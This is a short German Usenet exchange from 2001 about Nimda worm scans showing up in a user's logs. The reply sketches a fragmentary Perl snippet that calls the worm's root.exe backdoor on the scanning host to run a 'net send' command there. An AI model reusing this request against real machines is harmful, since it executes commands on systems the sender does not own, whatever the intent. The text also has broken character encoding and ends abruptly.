Am 27-Sep-2001 meinte Tobias Geis folgendes meinen zu muessen
Also Nimda l�sst sich erst einmal die DIR anzeigen um so zu sehen, was er verwenden kann ?
Anscheinend scannt Nimda alle T-online IPs. Ich hab noch mehrere davon in meiner Log. Fast jede Minute. Kann man dem IP "Besitzer" nicht irgendwie eine Nachricht zukommen lassen, das er event. Nimda auf dem Rechner hat ?
Schreib ein Perl-Script das sowas wie use LWP::UserAgent; my $msg = Your+computer+is+infected+by+codered+nimda+Worm+Have+a+nice+day.; ... ... new HTTP::Request (GET => "http://$ENV{REMOTE_ADDR}/scripts/root.exe?/c+net+send+localhost+$msg"); Danach erstell 'n HTML-Document das Reply